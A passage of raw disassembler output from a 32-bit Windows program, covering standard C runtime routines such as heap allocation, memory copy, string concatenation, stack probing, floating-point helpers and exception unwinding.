sub_401294+228p ; sub_4014EF+D7p ... arg_0 = dword ptr 4 push dword_4BA2DC push [esp+4+arg_0] call sub_40E894 pop ecx pop ecx retn sub_40E882 endp ; =============== S U B R O U T I N E ======================================= sub_40E894 proc near ; CODE XREF: sub_40E882+Ap ; sub_40F7B5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_40E8BD loc_40E89B: ; CODE XREF: sub_40E894+27j push [esp+arg_0] call sub_40E8C0 test eax, eax pop ecx jnz short locret_40E8BF cmp [esp+arg_4], eax jz short locret_40E8BF push [esp+arg_0] call sub_4115BA test eax, eax pop ecx jnz short loc_40E89B loc_40E8BD: ; CODE XREF: sub_40E894+5j xor eax, eax locret_40E8BF: ; CODE XREF: sub_40E894+13j ; sub_40E894+19j retn sub_40E894 endp ; =============== S U B R O U T I N E ======================================= sub_40E8C0 proc near ; CODE XREF: sub_40E894+Bp arg_0 = dword ptr 4 mov eax, dword_4BB8E4 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_40E8E4 cmp esi, dword_4BB8DC ja short loc_40E916 push esi call sub_411B43 test eax, eax pop ecx jz short loc_40E916 pop esi retn ; --------------------------------------------------------------------------- loc_40E8E4: ; CODE XREF: sub_40E8C0+Dj cmp eax, 2 jnz short loc_40E916 mov eax, [esp+4+arg_0] test eax, eax jz short loc_40E8F9 lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_40E8FC ; --------------------------------------------------------------------------- loc_40E8F9: ; CODE XREF: sub_40E8C0+2Fj push 10h pop esi loc_40E8FC: ; CODE XREF: sub_40E8C0+37j cmp esi, dword_4240CC ja short loc_40E923 mov eax, esi shr eax, 4 push eax call sub_4125E6 test eax, eax pop ecx jnz short loc_40E932 jmp short loc_40E923 ; --------------------------------------------------------------------------- loc_40E916: ; CODE XREF: sub_40E8C0+15j ; sub_40E8C0+20j ... test esi, esi jnz short loc_40E91D push 1 pop esi loc_40E91D: ; CODE XREF: sub_40E8C0+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_40E923: ; CODE XREF: sub_40E8C0+42j ; sub_40E8C0+54j push esi push 0 push dword_4BB8E0 call dword_41A120 ; RtlAllocateHeap loc_40E932: ; CODE XREF: sub_40E8C0+52j pop esi retn sub_40E8C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E940 proc near ; CODE XREF: sub_401294+37p ; sub_401294+5Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_40E960 cmp edi, eax jb loc_40EAD8 loc_40E960: ; CODE XREF: sub_40E940+16j test edi, 3 jnz short loc_40E97C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40E99C rep movsd jmp off_40EA88[edx*4] ; --------------------------------------------------------------------------- loc_40E97C: ; CODE XREF: sub_40E940+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_40E994 and eax, 3 add ecx, eax jmp dword ptr loc_40E99C+4[eax*4] ; --------------------------------------------------------------------------- loc_40E994: ; CODE XREF: sub_40E940+46j jmp dword ptr loc_40EA98[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40E99C: ; CODE XREF: sub_40E940+31j ; sub_40E940+8Ej ... jmp off_40EA1C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40E9B0 dd offset loc_40E9DC dd offset loc_40EA00 ; --------------------------------------------------------------------------- loc_40E9B0: ; DATA XREF: sub_40E940+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_40E99C rep movsd jmp off_40EA88[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40E9DC: ; DATA XREF: sub_40E940+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_40E99C rep movsd jmp off_40EA88[edx*4] ; --------------------------------------------------------------------------- align 10h loc_40EA00: ; DATA XREF: sub_40E940+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_40E99C rep movsd jmp off_40EA88[edx*4] ; --------------------------------------------------------------------------- align 4 off_40EA1C dd offset loc_40EA7F ; DATA XREF: sub_40E940:loc_40E99Cr dd offset loc_40EA6C dd offset loc_40EA64 dd offset loc_40EA5C dd offset loc_40EA54 dd offset loc_40EA4C dd offset loc_40EA44 dd offset loc_40EA3C ; --------------------------------------------------------------------------- loc_40EA3C: ; CODE XREF: sub_40E940:loc_40E99Cj ; DATA XREF: sub_40E940+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_40EA44: ; CODE XREF: sub_40E940:loc_40E99Cj ; DATA XREF: sub_40E940+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_40EA4C: ; CODE XREF: sub_40E940:loc_40E99Cj ; DATA XREF: sub_40E940+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_40EA54: ; CODE XREF: sub_40E940:loc_40E99Cj ; DATA XREF: sub_40E940+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_40EA5C: ; CODE XREF: sub_40E940:loc_40E99Cj ; DATA XREF: sub_40E940+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_40EA64: ; CODE XREF: sub_40E940:loc_40E99Cj ; DATA XREF: sub_40E940+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_40EA6C: ; CODE XREF: sub_40E940:loc_40E99Cj ; DATA XREF: sub_40E940+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_40EA7F: ; CODE XREF: sub_40E940:loc_40E99Cj ; DATA XREF: sub_40E940:off_40EA1Co jmp off_40EA88[edx*4] ; --------------------------------------------------------------------------- align 4 off_40EA88 dd offset loc_40EA98 ; DATA XREF: sub_40E940+35r ; sub_40E940+92r ... dd offset loc_40EAA0 dd offset loc_40EAAC dd offset loc_40EAC0 ; --------------------------------------------------------------------------- loc_40EA98: ; CODE XREF: sub_40E940+35j ; sub_40E940+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_40EAA0: ; CODE XREF: sub_40E940+35j ; sub_40E940+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40EAAC: ; CODE XREF: sub_40E940+35j ; sub_40E940+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_40EAC0: ; CODE XREF: sub_40E940+35j ; sub_40E940+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40EAD8: ; CODE XREF: sub_40E940+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_40EB0C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40EB00 std rep movsd cld jmp off_40EC20[edx*4] ; --------------------------------------------------------------------------- align 10h loc_40EB00: ; CODE XREF: sub_40E940+1B1j ; sub_40E940+208j ... neg ecx jmp off_40EBD0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40EB0C: ; CODE XREF: sub_40E940+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_40EB24 and eax, 3 sub ecx, eax jmp dword ptr loc_40EB24+4[eax*4] ; --------------------------------------------------------------------------- loc_40EB24: ; CODE XREF: sub_40E940+1D6j ; DATA XREF: sub_40E940+1DDr jmp off_40EC20[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40EB37+1 ; --------------------------------------------------------------------------- pop eax jmp short near ptr loc_40EB72+1 ; --------------------------------------------------------------------------- align 4 sub bl, 40h loc_40EB37: ; DATA XREF: sub_40E940+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_40EB00 std rep movsd cld jmp off_40EC20[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 loc_40EB72: ; CODE XREF: sub_40E940+1F1j jb short loc_40EB00 std rep movsd cld jmp off_40EC20[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_40EB00 std rep movsd cld jmp off_40EC20[edx*4] ; --------------------------------------------------------------------------- align 4 aam 0EBh inc eax add ah, bl jmp short loc_40EBFB ; --------------------------------------------------------------------------- align 4 dd offset dword_40EBE4 dd offset dword_40EBEC dd offset dword_40EBF4 ; --------------------------------------------------------------------------- cld jmp short loc_40EC0B ; --------------------------------------------------------------------------- align 4 dd offset dword_40EC04 off_40EBD0 dd offset loc_40EC17 ; DATA XREF: sub_40E940+1C2r dd 1C8E448Bh, 1C8F4489h, 188E448Bh, 188F4489h dword_40EBE4 dd 148E448Bh, 148F4489h ; DATA XREF: sub_40E940+27Co dword_40EBEC dd 108E448Bh, 108F4489h ; DATA XREF: sub_40E940+280o dword_40EBF4 dd 0C8E448Bh ; DATA XREF: sub_40E940+284o db 89h, 44h, 8Fh ; --------------------------------------------------------------------------- loc_40EBFB: ; CODE XREF: sub_40E940+279j or al, 8Bh inc esp ; --------------------------------------------------------------------------- dw 88Eh dd 88F4489h dword_40EC04 dd 48E448Bh ; DATA XREF: sub_40E940+28Co db 89h, 44h, 8Fh ; --------------------------------------------------------------------------- loc_40EC0B: ; CODE XREF: sub_40E940+289j add al, 8Dh add al, 8Dh ; --------------------------------------------------------------------------- db 0 dd 3000000h db 0F0h, 3, 0F8h ; --------------------------------------------------------------------------- loc_40EC17: ; CODE XREF: sub_40E940+1C2j ; DATA XREF: sub_40E940:off_40EBD0o jmp off_40EC20[edx*4] ; --------------------------------------------------------------------------- align 10h off_40EC20 dd offset loc_40EC30 ; DATA XREF: sub_40E940+1B7r ; sub_40E940:loc_40EB24r ... dd offset loc_40EC38 dd offset loc_40EC48 dd offset loc_40EC5C ; --------------------------------------------------------------------------- loc_40EC30: ; CODE XREF: sub_40E940+1B7j ; sub_40E940:loc_40EB24j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40EC38: ; CODE XREF: sub_40E940+1B7j ; sub_40E940:loc_40EB24j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40EC48: ; CODE XREF: sub_40E940+1B7j ; sub_40E940:loc_40EB24j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40EC5C: ; CODE XREF: sub_40E940+1B7j ; sub_40E940:loc_40EB24j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_40E940 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40EC80 proc near ; CODE XREF: sub_401294+8p ; sub_4014EF+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_40ECA0 loc_40EC8C: ; CODE XREF: sub_40EC80+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_40EC8C loc_40ECA0: ; CODE XREF: sub_40EC80+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_40EC80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECAF proc near ; CODE XREF: sub_4014EF+122p ; sub_4014EF+12Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_40ED15 mov eax, dword_4BB8E4 cmp eax, 3 jnz short loc_40ECDB push esi call sub_4117EF pop ecx test eax, eax push esi jz short loc_40ED07 push eax call sub_41181A pop ecx pop ecx jmp short loc_40ED15 ; --------------------------------------------------------------------------- loc_40ECDB: ; CODE XREF: sub_40ECAF+14j cmp eax, 2 jnz short loc_40ED06 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41254A add esp, 0Ch test eax, eax jz short loc_40ED06 push eax push [ebp+arg_0] push [ebp+var_4] call sub_4125A1 add esp, 0Ch jmp short loc_40ED15 ; --------------------------------------------------------------------------- loc_40ED06: ; CODE XREF: sub_40ECAF+2Fj ; sub_40ECAF+44j push esi loc_40ED07: ; CODE XREF: sub_40ECAF+20j push 0 push dword_4BB8E0 call dword_41A124 ; RtlFreeHeap loc_40ED15: ; CODE XREF: sub_40ECAF+Aj ; sub_40ECAF+2Aj ... pop esi leave retn sub_40ECAF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40ED20 proc near ; CODE XREF: sub_4048B2+75p ; sub_406DA5+E5p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_40ED91 sub_40ED20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40ED30 proc near ; CODE XREF: sub_4014EF+58p ; sub_4048B2+6Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_40ED4C loc_40ED3D: ; CODE XREF: sub_40ED30+1Aj mov al, [ecx] inc ecx test al, al jz short loc_40ED7F test ecx, 3 jnz short loc_40ED3D loc_40ED4C: ; CODE XREF: sub_40ED30+Bj ; sub_40ED30+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_40ED4C mov eax, [ecx-4] test al, al jz short loc_40ED8E test ah, ah jz short loc_40ED89 test eax, 0FF0000h jz short loc_40ED84 test eax, 0FF000000h jz short loc_40ED7F jmp short loc_40ED4C ; --------------------------------------------------------------------------- loc_40ED7F: ; CODE XREF: sub_40ED30+12j ; sub_40ED30+4Bj lea edi, [ecx-1] jmp short loc_40ED91 ; --------------------------------------------------------------------------- loc_40ED84: ; CODE XREF: sub_40ED30+44j lea edi, [ecx-2] jmp short loc_40ED91 ; --------------------------------------------------------------------------- loc_40ED89: ; CODE XREF: sub_40ED30+3Dj lea edi, [ecx-3] jmp short loc_40ED91 ; --------------------------------------------------------------------------- loc_40ED8E: ; CODE XREF: sub_40ED30+39j lea edi, [ecx-4] loc_40ED91: ; CODE XREF: sub_40ED20+5j ; sub_40ED30+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_40EDB6 loc_40ED9D: ; CODE XREF: sub_40ED30+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_40EE08 mov [edi], dl inc edi test ecx, 3 jnz short loc_40ED9D jmp short loc_40EDB6 ; --------------------------------------------------------------------------- loc_40EDB1: ; CODE XREF: sub_40ED30+9Ej ; sub_40ED30+B8j mov [edi], edx add edi, 4 loc_40EDB6: ; CODE XREF: sub_40ED30+6Bj ; sub_40ED30+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_40EDB1 test dl, dl jz short loc_40EE08 test dh, dh jz short loc_40EDFF test edx, 0FF0000h jz short loc_40EDF2 test edx, 0FF000000h jz short loc_40EDEA jmp short loc_40EDB1 ; --------------------------------------------------------------------------- loc_40EDEA: ; CODE XREF: sub_40ED30+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40EDF2: ; CODE XREF: sub_40ED30+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_40EDFF: ; CODE XREF: sub_40ED30+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40EE08: ; CODE XREF: sub_40ED30+72j ; sub_40ED30+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_40ED30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE10 proc near ; CODE XREF: sub_4014EF+47p ; sub_402C55+4A3p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_410DB0 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_40EE50 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_40EE5D ; --------------------------------------------------------------------------- loc_40EE50: ; CODE XREF: sub_40EE10+36j lea eax, [ebp+var_20] push eax push 0 call sub_410C9B pop ecx pop ecx loc_40EE5D: ; CODE XREF: sub_40EE10+3Ej mov eax, esi pop esi leave retn sub_40EE10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40EE62(double) sub_40EE62 proc near ; CODE XREF: sub_401F59+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_422050 call sub_4131E3 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_40EEE8 call sub_4130AB pop ecx test eax, eax pop ecx jle short loc_40EECB cmp eax, 2 jle short loc_40EEBD cmp eax, 3 jnz short loc_40EECB fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_4129BB add esp, 10h jmp short loc_40EF2D ; --------------------------------------------------------------------------- loc_40EEBD: ; CODE XREF: sub_40EE62+3Fj push esi push ebx call sub_4131E3 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_40EF2D ; --------------------------------------------------------------------------- loc_40EECB: ; CODE XREF: sub_40EE62+3Aj ; sub_40EE62+44j fld [ebp+arg_0] fadd dbl_41A2D0 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_40EF25 ; --------------------------------------------------------------------------- loc_40EEE8: ; CODE XREF: sub_40EE62+2Fj call sub_413070 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_40EF0B loc_40EEFD: ; CODE XREF: sub_40EE62+ACj push esi push ebx call sub_4131E3 fld [ebp+var_8] pop ecx pop ecx jmp short loc_40EF2D ; --------------------------------------------------------------------------- loc_40EF0B: ; CODE XREF: sub_40EE62+99j test bl, 20h jnz short loc_40EEFD fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_40EF25: ; CODE XREF: sub_40EE62+84j call sub_412A0E add esp, 1Ch loc_40EF2D: ; CODE XREF: sub_40EE62+59j ; sub_40EE62+67j ... pop esi pop ebx leave retn sub_40EE62 endp ; =============== S U B R O U T I N E ======================================= sub_40EF31 proc near ; CODE XREF: sub_41080C+9p ; sub_4132AC+21p ; DATA XREF: ... call sub_40EF49 call sub_4132AC mov dword_4BA260, eax call sub_41325C fnclex retn sub_40EF31 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_40EF49 proc near ; CODE XREF: sub_40EF31p mov eax, offset sub_41369A mov off_4241EC, offset sub_41332F mov off_4241E8, eax mov off_4241F0, offset sub_413395 mov off_4241F4, offset sub_4132D5 mov off_4241F8, offset sub_41337D mov off_4241FC, eax retn sub_40EF49 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF84 proc near ; CODE XREF: sub_401F59+1Bp ; sub_401F59+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_40EF84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40EFAB(double) sub_40EFAB proc near ; CODE XREF: sub_401FA5+82p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_422068 call sub_4131E3 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_40F031 call sub_4130AB pop ecx test eax, eax pop ecx jle short loc_40F014 cmp eax, 2 jle short loc_40F006 cmp eax, 3 jnz short loc_40F014 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_4129BB add esp, 10h jmp short loc_40F076 ; --------------------------------------------------------------------------- loc_40F006: ; CODE XREF: sub_40EFAB+3Fj push esi push ebx call sub_4131E3 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_40F076 ; --------------------------------------------------------------------------- loc_40F014: ; CODE XREF: sub_40EFAB+3Aj ; sub_40EFAB+44j fld [ebp+arg_0] fadd dbl_41A2D0 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_40F06E ; --------------------------------------------------------------------------- loc_40F031: ; CODE XREF: sub_40EFAB+2Fj call sub_413070 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_40F054 loc_40F046: ; CODE XREF: sub_40EFAB+ACj push esi push ebx call sub_4131E3 fld [ebp+var_8] pop ecx pop ecx jmp short loc_40F076 ; --------------------------------------------------------------------------- loc_40F054: ; CODE XREF: sub_40EFAB+99j test bl, 20h jnz short loc_40F046 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_40F06E: ; CODE XREF: sub_40EFAB+84j call sub_412A0E add esp, 1Ch loc_40F076: ; CODE XREF: sub_40EFAB+59j ; sub_40EFAB+67j ... pop esi pop ebx leave retn sub_40EFAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F07A proc near ; CODE XREF: sub_413B0B+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_40F07A endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_40F0AE proc near ; CODE XREF: sub_413CBC+199p ; sub_413E80+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_40F0AE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40F0B5 proc near ; CODE XREF: sub_413CBC+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_40F0B5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0BC proc near ; CODE XREF: sub_40F26E+5Cp ; sub_413B0B:loc_413B3Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_40F0E4 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_419A48 ; RtlUnwind loc_40F0E4: ; DATA XREF: sub_40F0BC+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_40F0BC endp ; --------------------------------------------------------------------------- loc_40F10B: ; CODE XREF: .packed:00419C2Cj ; .packed:00419C49j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_413710 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F141 proc near ; CODE XREF: sub_413B86+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_40F195 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_413F10 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_40F141 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F195 proc near ; DATA XREF: sub_40F141+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_413710 add esp, 20h pop ebp retn sub_40F195 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F1BA proc near ; CODE XREF: sub_413952+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_40F26E mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_40F240 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4BA300 pop ecx pop ecx and [ebp+var_34], 0 loc_40F240: ; DATA XREF: sub_40F1BA+3Co cmp [ebp+var_4], 0 jz short 